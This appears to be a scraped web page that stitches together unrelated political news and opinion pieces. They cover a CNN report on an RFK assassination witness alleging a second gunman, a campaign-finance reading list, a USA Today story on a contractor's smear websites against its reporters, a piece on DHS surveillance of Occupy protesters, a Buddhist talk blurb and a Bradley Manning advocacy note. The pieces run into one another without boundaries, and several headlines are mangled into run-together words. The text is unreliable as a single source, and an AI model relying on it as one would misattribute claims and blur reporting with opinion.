Los Angeles (CNN) — As a federal court prepares to rule on a challenge to Sirhan Sirhan’s conviction in the Robert F. Kennedy assassination, a long overlooked witness to the murder is telling her story: She heard two guns firing during the 1968 shooting and authorities altered her account of the crime.
Nina Rhodes-Hughes wants the world to know that, despite what history says, Sirhan was not the only gunman firing shots when Kennedy was murdered a few feet away from her at a Los Angeles hotel.
“What has to come out is that there was another shooter to my right,” Rhodes-Hughes said in an exclusive interview with CNN. “The truth has got to be told. No more cover-ups.”
Her voice at times becoming emotional, Rhodes-Hughes described for CNN various details of the assassination, her long frustration with the official reporting of her account and her reasons for speaking out: “I think to assist me in healing — although you’re never 100% healed from that. But more important to bring justice.
“For me it’s hopeful and sad that it’s only coming out now instead of before — but at least now instead of never,” Rhodes-Hughes told CNN by phone from her home near Vancouver, British Columbia.
Sirhan, the only person arrested, tried and convicted in the shooting of Kennedy and five other people, is serving a life sentence at Pleasant Valley State Prison in Coalinga, California.
The U.S. District Court in Los Angeles is set to rule on a request by the 68-year-old Sirhan that he be released, retried or granted a hearing on new evidence, including Rhodes-Hughes’ firsthand account.
At his 1969 trial, Sirhan’s original defense team never contested the prosecution’s case that Sirhan was the one and only shooter in Kennedy’s assassination. Sirhan testified at his trial that he had killed Kennedy “with 20 years of malice aforethought,” and he was convicted and sentenced to death, which was reduced to life in prison in 1972.
After the trial, Sirhan recanted his courtroom confession.
In the recent federal court filings, state prosecutors led by California Attorney General Kamala Harris argue that even if there were a second gunman involved in the Kennedy shooting, Sirhan hasn’t proven his innocence and he’s still guilty of murder under California’s vicarious liability law.
Sirhan’s new legal team disputes Harris’ assertion about that state statute.
Their current battle has prosecutors and Sirhan’s new lawyers engaging directly the merits of new evidence — as well as witness recollections such as Rhodes-Hughes’ account — never argued before a judge.
Prosecutors under the attorney general are contending that Rhodes-Hughes heard no more than eight gunshots during the assassination. In court papers filed in February, Harris and prosecutors argue that Rhodes-Hughes was among several witnesses reporting “that only eight shots were fired and that all these shots came from the same direction.”
Sirhan’s lawyers are challenging those assertions.
In a response also filed in federal court in Los Angeles, the defense team led by New York attorney William Pepper contends that the FBI misrepresented Rhodes-Hughes’ eyewitness account and that she actually had heard a total of 12 to 14 shots fired.
“She identified fifteen errors including the FBI alteration which quoted her as hearing only eight shots, which she explicitly denied was what she had told them,” Sirhan’s lawyers argued in February, citing a previously published statement from Rhodes-Hughes.
In this NBC photo taken in December 1965, TV actress Nina Roman, today known as Nina Rhodes-Hughes, left, and her “Morning Star” co-star Elizabeth Perry, right, meet Robert F. Kennedy at NBC’s Burbank studios. Two and a half years later, Rhodes-Hughes witnessed Kennedy’s assassination.
The FBI and the California attorney general’s office both declined to comment to CNN on the controversy over Rhodes-Hughes’ witness account since the matter is now being reviewed by a federal judge.
Rhodes-Hughes was a television actress in 1968 who worked as a volunteer fundraiser for Kennedy’s presidential campaign.
The FBI report indicates that Rhodes-Hughes was indeed inside the kitchen service pantry of the Ambassador Hotel during the crucial moments of the Kennedy shooting, but she contends the bureau got details of her story wrong, including her assertions about the number of shots fired and where the shots were fired from.
Rhodes-Hughes, now 78, tells CNN she informed authorities in 1968 that the number of gunshots she counted in the kitchen pantry exceeded eight — which would have been more than the maximum Sirhan could have fired — and that some of the shots came from a location in the pantry other than Sirhan’s position.
Robert Kennedy was the most seriously wounded of the six people shot inside the hotel pantry on June 5, 1968, only moments after the New York senator had claimed victory in California’s Democratic primary election. The presidential candidate died the next day; the other victims survived.
The Los Angeles County coroner determined that three bullets struck Kennedy’s body and a fourth passed harmlessly through his clothing. Police and prosecutors declared the four bullets were among eight fired by Sirhan acting alone.
Rhodes-Hughes tells CNN the FBI’s eight-shot claim is “completely false.” She says the bureau “twisted” things she told two FBI agents when they interviewed her as an assassination witness in 1968, and she says Harris and her prosecutors are simply “parroting” the bureau’s report.
“I never said eight shots. I never, never said it,” Rhodes-Hughes told CNN. “But if the attorney general is saying it then she’s going according to what the FBI chose to put into their report.”
“There were more than eight shots,” Rhodes-Hughes said by phone. She says that during the FBI interview in her Los Angeles home, one month after the assassination, she told the agents that she’d heard 12 to 14 shots. “There were at least 12, maybe 14. And I know there were because I heard the rhythm in my head,” Rhodes-Hughes said. She says she believes senior FBI officials altered statements she made to the agents to “conform with what they wanted the public to believe, period.”
“When they say only eight shots, the anger within me is so great that I practically — I get very emotional because it is so untrue. It is so untrue,” she said.
Contacted by CNN for comment, Sirhan lead attorney William Pepper called the alleged FBI alteration of Rhodes-Hughes’ story “deplorable” and “criminal” and said it “mirrors the experience of other witnesses.”
Other witnesses also mentioned more than eight shots
Law enforcement investigators have always maintained that only eight shots were fired in the RFK assassination, all of them by Sirhan. His small-caliber handgun could hold no more than eight bullets.
But released witness interview summaries show at least four other people told authorities in 1968 that they heard what could have been more than eight shots. The following four witness accounts appear not in FBI reports but in Los Angeles Police Department summaries:
— Jesse Unruh, who was speaker of the California Assembly at the time, told police that he was within 20 to 30 feet behind Kennedy when suddenly he heard a “crackle” of what he initially thought were exploding firecrackers. “I don’t really quite remember how many reports there were,” Unruh told the LAPD. “It sounded to me like somewhere between 5 and 10.”
— Frank Mankiewicz, who had been Kennedy’s campaign press secretary, told police that he was trying to catch up to the senator when he suddenly heard sounds that also seemed to him to be “a popping of firecrackers.” When an LAPD detective asked Mankiewicz how many of the sounds he’d heard, he answered: “It seemed to me I heard a lot. If indeed it had turned out to have been firecrackers, I probably would have said 10. But I’m sure it was less than that.”
— Estelyn Duffy LaHive, who had been a Kennedy supporter, told police that she was standing just outside the kitchen pantry’s west entrance when the shooting erupted. “I thought I heard at least about 10 shots,” she told the LAPD.
— Booker Griffin, another Kennedy supporter, told police that he had just entered the pantry through its east entrance and suddenly heard “two quick” shots followed by a slight pause and then what “sounded like it could have been 10 or 12” additional shots.
An analysis of a recently uncovered tape recording of the shooting detected at least 13 shot sounds erupting over a period of less than six seconds. The audiotape was recorded at the Ambassador Hotel by free-lance newspaper reporter Stanislaw Pruszynski and is the only known soundtrack of the assassination.
Audio expert Philip Van Praag told CNN that his analysis establishes the Pruszynski recording as authentic and the 13 sounds electronically detected on the recording as gunshots.
“The gunshots are established by virtue of my computer analysis of waveform patterns, which clearly distinguishes gunshots from other phenomena,” he said in an e-mail. “This would include phenomena that to human hearing are often perceived as exploding firecrackers, popping camera flashbulbs or bursting balloons.”
Van Praag’s Pruszynski recording findings are now a major point of controversy among new evidence being argued between the two sides in the Sirhan federal court case. Harris contends that his findings amount to an “interpretation or opinion” that is not universally accepted by acoustic experts.
CNN initially reported on Van Praag’s audio analysis in 2008 and then with additional details in a BackStory segment in 2009.
Shots fired from two different locations
California prosecutors have argued that witnesses heard shots coming from only one location, but Rhodes-Hughes tells CNN that while the first two or three shots she heard came from Sirhan’s position several feet in front of her, she also heard gunshots “to my right where Robert Kennedy was.”
According to the autopsy report, the coroner concluded that the senator’s body and clothing were struck from behind, at right rear, by four bullets fired at upward angles and at point-blank range. Yet witnesses said Sirhan fired somewhat downward, almost horizontally, from several feet in front of Kennedy, and witnesses did not report the senator’s back as ever being exposed to Sirhan or his gun.
In his analysis of the Pruszynski sound recording, Philip Van Praag found that five of the gunshots captured in the tape were fired opposite the direction of Sirhan’s eight shots. Van Praag also concluded that those five shots — the third, fifth, eighth, 10th and 12th gunshots within a 13-shot sequence — displayed an acoustical “frequency anomaly” indicating that the alleged second gun’s make and model were different from Sirhan’s weapon.
A chance meeting with Robert Kennedy
The path that eventually led Nina Rhodes-Hughes to the Ambassador Hotel kitchen pantry began 2½ years earlier during a chance meeting with Robert Kennedy at NBC-TV studios in Burbank, California. She was being made up for her co-starring role in the daytime drama “Morning Star” when Kennedy suddenly entered the makeup room. The actress was starstruck. “I saw Robert Kennedy and everything else disappeared from view,” she said. “There was an aura about him that was very captivating. He kind of pulled you in. His eyes were very deep set and they were very blue. And when you looked at him, you got very drawn in to him.”
As Rhodes-Hughes remembers it, the senator had arrived to pre-record an interview on “Meet the Press” and the two discussed political issues while awaiting their separate TV appearances. “Here I am, just an actress in a soap opera, and he took the time to have an in-depth conversation with me,” said Rhodes-Hughes, who was then known professionally by her screen name Nina Roman.
As impressed as Rhodes-Hughes was with Robert Kennedy, she says the senator indicated that he himself was impressed with her ability to quickly memorize many pages of TV script. She says he confided to her that he had no such talent himself but that his older brother, the assassinated President John F. Kennedy, had possessed similar skills.
“Our conversation basically was the clincher for me,” Rhodes-Hughes told CNN. “I said to him, ‘You know, I have followed your career in politics and I really believe in you and I love all the things that you did — and are trying to do, and propose to do — and so if ever you declare yourself a candidate for the presidency, I will work for you, heart and soul.’ And he smiled and said, ‘Well, I don’t know if that’s going to happen.’ And he was very humble and very sweet.”
Rhodes-Hughes says that later, in the spring of 1968, shortly after Kennedy announced his candidacy for the presidency, she helped form a campaign support group in Los Angeles called “Young Professionals for Kennedy” and assisted in raising funds for the California phase of the senator’s White House bid.
Weeks later, as he claimed victory in the California primary, addressing hundreds of supporters in the Ambassador Hotel’s Embassy Room shortly after midnight on June 5, Kennedy paid tribute to the many volunteers, like Rhodes-Hughes, who had assisted his campaign. Referring to his own role during his brother’s successful run for the presidency in 1960, Kennedy told them, “I was a campaign manager eight years ago. I know what a difference that kind of an effort and that kind of a commitment makes.”
Trying to keep Kennedy from heading to the pantry
For Rhodes-Hughes there was one more commitment to keep. She had promised Kennedy aide Pierre Salinger that following the candidate’s victory speech she would try to meet the senator as he exited the ballroom and usher him to a backstage area where Salinger had been keeping abreast of the California primary returns. She says although she and another campaign volunteer made sure to carefully position themselves to greet the candidate, the opportunity never came. According to Rhodes-Hughes, shortly after Kennedy completed his remarks in the Embassy Room, he was whisked away by others down a corridor and toward the kitchen pantry while she scurried to catch up.
“No, no, that’s the wrong way!” Rhodes-Hughes tells CNN she shouted to the senator and his escorts as she chased after them in an unsuccessful effort to turn them around. “It’s this way! Come back! You’re going the wrong way!”
Kennedy and Sirhan almost face-to-face
Rhodes-Hughes says that after she entered the kitchen pantry’s west entrance, she could see Kennedy in left profile, “greeting” well-wishers a few feet ahead of her. She says a moment later she was looking at the back of the senator’s head, as he continued onward, when suddenly the first two or three shots were fired.
“I saw his left profile. And then, very, very quickly, he was through greeting, and he turned and went into the original direction that he was being ushered to,” Rhodes-Hughes told CNN. “At that point, I saw the back of his head and part of his shoulders and back.”
“My eyes were totally on him, and all of a sudden I started hearing popping sounds, which I thought at first were flashbulbs from a camera,” she said. It was Rhodes-Hughes’ account of Kennedy’s movements in the pantry that Sirhan’s lawyer Pepper focused on in particular when CNN asked him to comment on Rhodes-Hughes’ account of the shooting.
“This observation is vital,” said Pepper. “Her clear recollection of being some short distance behind the Senator and seeing his left profile and then seeing him quickly turning so that the back of his head was in her sight at the time the shooting began — this reveals that the Senator was almost directly facing Sirhan just before he took three shots, from behind, in his back, and behind his right ear at powder burn range, making it impossible for Sirhan to have been Robert Kennedy’s shooter,” the defense attorney said in an e-mail to CNN. “It clearly evidences the existence of a second gunman who fired from below and upward at the Senator.”
Rhodes-Hughes says that while she was behind Senator Kennedy, looking at the back of his head and hearing the first two or three gunshots, Kennedy did not appear to be struck by bullets at that point.
Still believing the first shots were merely flashbulbs, she says she then took her eyes off the senator, while turning leftward, and caught her first glimpse of Sirhan standing in front of Kennedy and to the candidate’s left.
She told CNN that the 5-foot-5-inch tall Sirhan was propped up on a steam table, several feet ahead of her and slightly to her own left. Rhodes-Hughes says part of her view of Sirhan was obstructed and she could not see the gun in his hand but she says that, as soon as she caught sight of Sirhan, she then heard more shots coming from somewhere past her right side and near Kennedy. She told CNN that at that point she was hearing “much more rapid fire” than she initially had heard.
In his recent analysis of the Pruszynski recording, Philip Van Praag found that some of the tape’s 13 captured shot sounds were fired too rapidly, at intervals too close together, for all of the gunshots in the pantry to have come from Sirhan’s Iver Johnson revolver alone.
Sirhan’s lawyers report in their federal court papers that gunshot echoes have been ruled out as the cause of the Pruszynski recording’s “double shots.” Ricochets also are ruled out according to Pasadena, California, forensic audio engineers who verified Van Praag’s Pruszynski findings for the 2007 Investigation Discovery Channel television documentary “Conspiracy Test: The RFK Assassination.”
‘They’ve killed him! They’ve killed him!’
Rhodes-Hughes told CNN she heard gunshots coming from some place not far from her right side even while Sirhan was being subdued several feet in front of her. “During all of that time, there are shots coming to my right,” she said. “People are falling around me. I see a man sliding down a wall. Then I see Senator Kennedy lying on the floor on his back, bleeding. And I remember screaming, ‘Oh no! Oh, my God, no!’ And the next thing I know, I’m ducking but also in complete shock as to what’s going on.
“And then I passed out,” she said.
Rhodes-Hughes says that, moments later, while she was regaining consciousness from having fainted to the floor, she noticed that her dress was wet and that she was missing a belt and one of her shoes. It was clear to her that she had been trampled, but she was unhurt.
She then looked across the room and saw Kennedy once again, lying on the floor and bleeding, this time with his wife Ethel kneeling and trying to comfort him. Rhodes-Hughes says the sight horrified her, sending her screaming out of the pantry and back through the corridor, where she was attended to by her then-husband, the late television producer Michael Rhodes.
“I’m running out of the pantry and I’m yelling, ‘They’ve killed him! They’ve killed him! Oh, my God, he’s dead! They’ve killed him!'” Rhodes-Hughes told CNN. “Now, the reason I said, ‘they’ is because I knew there was more than one shooter involved.”
Little more than 25 hours later, Kennedy was pronounced dead at Good Samaritan Hospital in Los Angeles.
Rhodes-Hughes describes the events of early June 1968 as “the most iconoclastic experience” of her life.
“Although it was 44 years ago, I will swear that this is exactly what happened. I remember it like it was almost yesterday, because you don’t forget something like that when it totally changes your life forever,” she said. “It took a great toll on me. For a while, even the backfiring of a car would send me into tears.”
Never called to testify
Despite the fact her FBI interview summary indicates Nina Rhodes-Hughes was inside the kitchen pantry during the assassination, she was never called to testify at Sirhan’s 1969 trial or at any subsequent inquiry over the years. Rhodes-Hughes says she made a point of telling two FBI agents in 1968 that she would be willing to make herself available to appear as a witness anywhere at anytime and to testify “that there were more shots.”
“They never wrote that down,” she says of the FBI agents who conducted the interview in her Los Angeles home. She also says that when the pair of agents departed following their visit, they forgot to take along their attaché case and, minutes later, had to return to her residence and retrieve it.
Rhodes-Hughes says that, in the months following the June 5, 1968 assassination, she and some others who had been at the Ambassador Hotel refused news media interviews so as to avoid interfering with preparations for Sirhan’s trial. It wasn’t until the 1990s that Rhodes-Hughes was asked whether she would ever be willing to testify under oath — an invitation coming not from a prosecutor or law enforcement official but from author Philip H. Melanson, a chancellor professor of policy studies at the University of Massachusetts Dartmouth.
At Melanson’s request, Rhodes-Hughes reviewed her 1968 FBI interview summary for the first time and found it contained more than a dozen inaccuracies. She provided Melanson with a statement, but the professor died some years later and Rhodes-Hughes once again missed her opportunity to testify. Before his death, Melanson published Rhodes-Hughes’ statement in “Shadow Play,” a book he co-authored with William Klaber in 1997 and one of several Melanson wrote on the Robert Kennedy assassination.
Rhodes-Hughes recounted the Kennedy shooting and her initial contact with Melanson in a 1992 interview on “Contact,” a local TV program carried at the time in Vancouver by Rogers Cable.
Defense attorney William Pepper calls Rhodes-Hughes’ recollections “significant verification” of new assassination evidence that the Sirhan legal team is currently presenting. “It provides further verification of a dozen or more gunshots and mirrors the experience of other witnesses which confirms the existence of the cover-up efforts,” he told CNN.
“Along with all of the other evidence we have provided, one wonders why it has taken so long for this innocent man to be set free, a new trial to be ordered or, at least, a full investigatory hearing to be scheduled,” Pepper said. “Nothing less than the credibility and integrity of the American criminal justice system is at stake in this case.”
Sirhan Sirhan’s current legal team is doing something his original lawyers never did. They are asserting that Sirhan did not shoot Kennedy.
Sirhan’s original defenders had decided at the outset that Sirhan was the lone shooter. Because Sirhan’s initial lawyers presented a diminished capacity case in 1969, they never pursued available defenses. Evidentiary conflicts, and issues such as a possible second gun, simply were not addressed at Sirhan’s 1969 trial. Most of the original prosecution’s evidence was stipulated by the original defense team, which agreed that Sirhan had killed the presidential candidate.
Nina Rhodes-Hughes opposes freedom for Sirhan Sirhan, whom she regards as one of two gunmen firing shots inside the Ambassador Hotel kitchen pantry. “To me, he was absolutely there,” she said. “I don’t feel he should be exonerated.”
Rhodes-Hughes insists the full truth of Robert Kennedy’s murder has been suppressed for decades, and says she hopes that it will now finally come out and that the alleged second shooter will be identified and brought to justice.
“There definitely was another shooter,” said Rhodes-Hughes. “The constant cover-ups, the constant lies — this has got to stop.”
ProPublica rounds up the best investigative reporting on campaign finance.
This week, we’re exposing the world of campaign finance post-Citizens United, the 2010 Supreme Court case that opened the door to super PACs. The stories fall into three categories: donor profiles, pieces on super PACs, and scandals (though as Michael Kinsley said, “The scandal in Washington isn’t what’s illegal; it’s what’s legal”).
This roundup focuses on national stories, but you can find more under our Campaign Finance tag on MuckReads. Did we miss any? Email [email protected]
The Donors
CovertOperations,The New Yorker, August 2010
This 2011 National Magazine Award finalist profiles the billionaire Koch brothers, who are using their money to try to promote libertarian ideals. The resulting “ideological network” of foundations, think tanks, and political movements has become so sprawling that in political circles it’s known as the “Kochtopus.”
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Is Gingrich’s Hard Line on Palestine Paid for by Sheldon Adelson?, Daily Beast,January 2012
Sheldon Adelson is the seventh–richestman in the United States, and the largest donor to the pro-Gingrich super PAC Winning Our Future. As this 2008 New Yorker profile shows, he also opposes a two-state solution to the Israeli-Palestinian conflict and wields enormous political influence in Israel. Some wonder if his views affected Gingrich’s “hard-line” stance on Palestine.
TheOperator, New Republic, April 2012
Harold Simmons is the 2012 campaign’s biggest donor. So what does he want from all his political giving?
Contributed by @Jake_Bernstein
TheAttackDog, The New Yorker, February 2012
Larry McCarthy, the media consultant who helps run the pro-Romney super PAC Restore Our Future, is Washington’s go-to guy for negative ads. He rose to prominence for the racially charged Willie Horton ad that helped George H.W. Bush get elected in 1988.
Super PACs
FirmGives $1 MilliontoPro–RomneyGroup, ThenDissolves, MSNBC, August 2011 Need a good example of the secret money fueling the 2012 election? This mystery company donated $1 million to the pro-Romney super PAC Restore Our Future—and then promptly dissolved. At the time, it was one of the biggest contributions of the election cycle.
Contributed by @SteveEngelberg
MostIndependentAdsfor 2012 ElectionAreFromGroupsThatDon’tDiscloseDonors, Washington Post, April 2012
You can thank anonymous donors for 90 percent of the total spent on advertising so far in the 2012 presidential election. The funds are funneled through social welfare nonprofits, also known as 501(c)4s, that do not have disclose their donors.
The 2012 MoneyRace: CompareTheCandidates,New York Times
If you want to track super PAC money, we’re going to point you to PACTrack. But when it comes to candidates’ fundraising, the New York Times’ news app is pretty sweet.
BundlersOntheInside, iWatch/ABC News, September 2011
Several of Obama’s top political supporters went to work within the Energy Department as it pumped stimulus money into alternative energy firms. Some supporters were also investors in companies that applied for government loans. (Part of a series on the stimulus-backed, and now bankrupt, Solyndra.)
Contributed by @paulkiel
DoubtsRaisedonDonationstoComptroller, New York Times, October 2011
New York City comptroller John C. Liu was considered a contender to succeed Mayor Michael Bloomberg, thanks in part to his robust fundraising machine. But when the New York Times canvassed nearly 100 homes and workplaces of donors listed in Mr. Liu’s campaign finance reports, they found several irregularities, including some that raised questions about whether some donors actually existed. Liu’s campaign is now under federal investigation.
Contributed by @srubenfeld
HouseFreshmenPushBillsthatBenefitBigDonors,USA Today, August 2011
Despite promises to change Washington, several House freshmen began their terms by pushing legislation that benefited some of their biggest donors.
Contributed by @rlocker12
(how politicians are ‘purchased’ by powerful men with an agenda)
The official trailer for ‘The Campaign’ starring Will Ferrell and Zach Galifianakis as political rivals in a race for Congress in a North Carolina district. Ferrell plays incumbent congressman Cam Brady who makes a major public goof that forces a bunch of wealthy CEOs to put up a rival for his seat in Congress in the form of Galifianakis’ Marty Huggins, the director of the local Tourism Center.
WASHINGTON – The co-owner of a major Pentagon propaganda contractor publicly admitted Thursday that he was behind a series of websites used to discredit two USA TODAY journalists who had reported on the contractor.
Screengrab from home page of leoniegroup.comCamille Chidiac, a minority owner of Leonie Industries, says he acted independently of the company when he created web sites and social media accounts in an effort to discredit two USA TODAY journalists.
Camille Chidiac, a minority owner of Leonie Industries, says he acted independently of the company when he created web sites and social media accounts in an effort to discredit two USA TODAY journalists.
The online “misinformation campaign,” first reported last month, has raised questions about whether the Pentagon or its contractors had turned its propaganda operations against U.S. citizens. But Camille Chidiac, the minority owner of Leonie Industries and its former president, said he was responsible for the online activity and was operating independent of the company or the Pentagon.
“I take full responsibility for having some of the discussion forums opened and reproducing their previously published USA TODAY articles on them,” he said a statement released by his attorney, Lin Wood, of Atlanta.
“I recognize and deeply regret that my actions have caused concerns for Leonie and the U.S. military. This was never my intention. As an immediate corrective action, I am in the process of completely divesting my remaining minority ownership from Leonie,” Chidiac said.
Chidiac, who stepped down as president of Leonie in 2008, said he used only personal funds to create the websites using proxy services to hide his involvement. Although Chidiac has continued to represent Leonie at various conferences, the company said any involvement was “informal and unofficial.”
The Pentagon said Defense Secretary Leon Panetta was aware of the statement and “has directed the department to review this matter and to take appropriate action.”
“We were deeply disappointed to read this disclosure from Leonie Industries. Smear campaigns — online or anywhere else — are intolerable, and we reject this kind of behavior,” said Pentagon press secretary George Little.
In February, USA TODAY reported on the Pentagon’s “information operations” program, which was coming under criticism even within the Pentagon for spending hundreds of millions for poorly monitored marketing campaigns in Iraq and Afghanistan.
Leonie, which was founded by Chidiac and his sister, Rema DuPont, has received at least $120 million in Pentagon contracts since 2009. DuPont owns 51% of the company; Chidiac 49%. The pair had $4 million in liens for unpaid federal income taxes, although federal records show those tax liens have since been paid off.
Even before the stories ran, USA TODAY Pentagon reporter Tom Vanden Brook noticed that someone registered the site tomvandenbrook.com. Twitter and Facebook accounts were also registered in his name, and a Wikipedia entry and discussion group postings misrepresented his reporting on the West Virginia Sago Mine disaster.
Chidiac said he clearly labeled the websites as “fan sites” of Vanden Brook and his editor, Ray Locker, but said comments on the websites “quickly degenerated from legitimate criticism to immature and irrelevant rhetoric by unknown users.”
Chidiac’s attorney said the Twitter and Wikipedia entries were created by someone else with “absolutely no relationship or connection with Leonie Industries,” whom he did not name.
One online reputation expert, Andy Beal, said the effort appeared to be coordinated and called it a “sophisticated reputation attack.”
The distribution of federally funded propaganda for domestic targets could be a violation of a federal law prohibiting the Defense Department from spending money for “propaganda purposes within the United States.” The company said no federal funds were used.
“Mr. Chidiac does not have access to Leonie’s bank accounts and other financial resources, derived from government contracts or otherwise, and he used non-Leonie funds to participate in the online activity,” said a statement from Gar Smith, Leonie’s director of marketing and communications. “This was the act of an individual, not the company.”
Smith said Chidiac was in the process of divesting himself of his 49% stake, but that the terms of that deal were a matter between DuPont and Chidiac.
Leonie said it’s “in the process of informing government officials of the situation,” though it’s unclear whether the episode will affect Leonie’s Pentagon contracts.
In March, the Pentagon’s inspector general told members of Congress that the Defense Criminal Investigative Service had launched an investigation into issues raised by the USA TODAY report. Last week, a House committee voted to cut the Pentagon’s “information operations” budget by one-third.
Rep. Hank Johnson, D-Ga., a critic of the information operations program, called for congressional hearings on the matter.
“Now we know the truth about these online smear campaigns,” he said. “There must be zero tolerance for attacks on the press.”
Chidiac’s attorney said Chidiac was “personally offended” by USA TODAY’s reporting on his tax troubles, which he felt were unfairly characterized. “I do not believe the previous reporting has properly recognized the excellent work that has been performed by the employees of Leonie in support of U.S. military efforts over the past several years,” Wood said.
Susan Weiss, executive editor of USA TODAY, said the newspaper would continue reporting on the information operations industry. “I am glad to see that we now know who was responsible for these false attacks on Tom Vanden Brook, Ray Locker and USA TODAY. We stand behind our reporters and our stories,” she said.
Remember the Occupy Movement? Since last November, when the NYPD closed the Zuccotti Park encampment in downtown Manhattan –the Movement’s birthplace and symbolic nexus—Occupy’s relevance has seriously dwindled, at least as measured by coverage in the mainstream media. We’re told that this erosion is due to Occupy’s own shortcomings—an inevitable outcome of its disjointed message and decentralized leadership.
While that may be the media’s take, the U.S. Government seems to have a different view.
If recent documents obtained by the Partnership for Civil Justice Fund (PCJF) are any indication, the Occupy Movement continues to be monitored and curtailed in a nationwide, federally-orchestrated campaign, spearheaded by the Department of Homeland Security (DHS).
The documents, many of which are partially blacked-out emails, demonstrate a surprising degree of coordination between the DHS’s National Operations Center (NOC) and local authorities in the monitoring of the Occupy movement. Cities implicated in this wide-scale snooping operation include New York, Oakland, Atlanta, Washington, D.C., Denver, Boston, Portland, Detroit, El Paso, Houston, Dallas, Seattle, San Diego, and Los Angeles.
Interest in the Occupy protesters was not limited to DHS and local law enforcement authorities. The most recently released correspondence contains Occupy-related missives between the DHS and agencies at all levels of government, including the Mayor of Portland, regional NOC “fusion centers,” the General Services Administration (GSA), the Pentagon’s USNORTHCOM (Northern Command), and the White House. Mara Verheyden-Hilliard, Executive Director of the PCJF, contends that the variety and reach of the organizations involved point to the existence of a larger, more pervasive domestic surveillance network than previously suspected.
These documents show not only intense government monitoring and coordination in response to the Occupy Movement, but reveal a glimpse into the interior of a vast, tentacled, national intelligence and domestic spying network that the U.S. government operates against its own people. These heavily redacted documents don’t tell the full story. They are likely only a subset of responsive materials and the PCJF continues to fight for a complete release. They scratch the surface of a mass intelligence network including Fusion Centers, saturated with ‘anti-terrorism’ funding, that mobilizes thousands of local and federal officers and agents to investigate and monitor the social justice movement. (justiceonline.org)
As alarmist as Verheyden-Hilliard’s charge may sound, especially given the limited, bowdlerized nature of the source material, the texts made available contain disturbing evidence of insistent federal surveillance. In particular, the role of the “Fusion Centers,” a series of 72 federally-funded information hubs run by the NOC, raises questions about the government’s expansive definition of “Homeland Security.”
Created in the wake of 9/11, the Fusion Centers were founded to expedite the sharing of information among state and local law enforcement and the federal government, to monitor localized terrorist threats, and to sidestep the regulations and legislation preventing the CIA and the military from carrying out domestic surveillance (namely, the CIA ban on domestic spying and the Posse Comitatus Act).
Is nonviolent, albeit obstructive, citizen dissent truly an issue of national security? The DHS, for its part, is aware of the contentiousness of civilian monitoring. That’s why, in a White House-approved statement to CBS News included in the dossier, DHS Press Secretary Matthew Chandler asserts that
Any decisions on how to handle specifics (sic) situations are dealt with by local authorities in that location. . . DHS is not actively coordinating with local law enforcement agencies and/or city governments concerning the evictions of Occupy encampments writ large.
However, as a reading of the documents unmistakably demonstrates, this expedient PR nugget is far from the truth. In example after example, from its seeking of “public health and safety” grounds from the City of Portland for Occupy’s ejection from Terry Schrunk Plaza, to its facilitation of information sharing between the police departments of Chicago and Boston (following a 1500-person Occupy protest in Chicago), the DHS’s active ”coordinating” with local authorities is readily apparent. Other communiqués are even more explicit in revealing a national focus, such as the DHS’s preemptive coordination with the Pentagon about a port closure in Oakland, and its collection of identity and contact information of Occupy protesters arrested at a Bank of America in Dallas.
Those Pesky Amendments
The right to public assembly is a central component of the First Amendment. The Fourth Amendment is supposed to protect Americans from warrantless searches—with the definition of “search” expanded in 1967 to include electronic surveillance, following the Supreme Court’s ruling in Katz v. United States. Assuming the Occupy protesters refrain from violence—and the vast majority do, in accord with a stated tenet of the Occupy movement—the movement’s existence is constitutionally protected, or should be.
The DHS’s monitoring, documenting, and undermining of protesters may in fact violate the First Amendment. In a recent piece for Dissent Magazine, sociologist James B. Rule explains the fundamental importance of a movement like Occupy in the American political landscape.
This surveillance campaign against Occupy is bad news for American democracy. Occupy represents an authentic, utterly home-grown, grassroots movement. Taken as a whole, it is neither terrorist nor conspiratorial. Indeed, it is hard to think of another movement so cumbersomely public in its deliberations and processes. Occupy is noisy, disorderly, insubordinate, and often inconvenient for all concerned—statements that could equally well apply to democracy in general. But it should never be targeted as a threat to the well-being of the country—quite the contrary.
Accordingly, Rule calls for the White House to rein in the ever-expanding surveillance activity of the DHS—which he contends is motivated by its own funding interests, and which prioritizes security at the expense of civil liberties.
The resource-rich Department of Homeland Security and its allies no doubt see in the rise of the movement another opportunity to justify their own claims for public legitimacy. We can be sure that many in these agencies view any noisy dissent as tantamount to a threat to national security.
[snip]
Nobody who cares about democracy wants to live in a world where simply engaging in vociferous protest qualifies any citizen to have his or her identity and life details archived by state security agencies. Specific, overt threats of civil disobedience or other law-breaking should be dealt with on a piecemeal basis—not by attempting to monitor everyone who might be moved to such actions, all the time. Meanwhile, the White House should issue clear directives that identification and tracking of lawful protesters will play no further role in any government response to this populist moment.
Optimistic as it may be, Rule’s appeal to the White House is a problematic one, given the ubiquitous influence of the DHS revealed by these documents. If the White House-approved press release is any indication, the Oval Office, while not directly authorizing the DHS’s initiatives, is certainly turning a blind eye to the Department’s focus on the Occupy movement as a potential terrorist threat. Federal surveillance of citizens in the Bush years, most visible in NSA warrantless wiretapping controversy, has apparently not ceased with Obama’s inauguration.
Which raises the question: Does Obama, as he claims, “stand with the 99 percent,” or with those who cannot stand them?
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WhoWhatWhy plans to continue doing this kind of groundbreaking original reporting. You can count on it. But can we count on you? We cannot do our work without your support.
We spend our lives being seduced by the outside world, believing without question that happiness and suffering come from “out there.” In reality, Buddhist teachings explain that they come from the way we perceive and interpret things, not the things themselves.
This deeply held misconception is at the root of our dissatisfaction, self-doubt, anger, depression, anxiety, and the rest. But our minds can change. By becoming deeply familiar with the workings of our own cognitive processes through introspection and learning to deconstruct them – truly, being our own therapists – we can loosen the grip of these neuroses and grow our marvelous potential for contentment, clarity, and courage, which are at the core of our being.
Speaker: Venerable Robina Courtin
A Tibetan Buddhist nun for 30 years, beloved teacher and power-house personality, Ven. Robina Courtin is Executive Director of Liberation Prison Project, based in San Francisco. (LiberationPrisonProject.org)
Nobel Peace Prize nominee PFC Bradley Manning, a 24-year-old Army intelligence analyst, is accused of releasing the Collateral Murder video, that shows the killing of unarmed civilians and two Reuters journalists, by a US Apache helicopter crew in Iraq. He is also accused of sharing the Afghan War Diary, the Iraq War Logs, and series of embarrassing US diplomatic cables. These documents were published by the anti-secrecy website WikiLeaks, and they have illuminated such issues as the true number and cause of civilian casualties in Iraq, along with a number of human rights abuses by U.S.-funded contractors and foreign militaries, and the role that spying and bribes play in international diplomacy. Given the war crimes exposed, if PFC Bradley Manning was the source for these documents, he should be given a medal of honor.
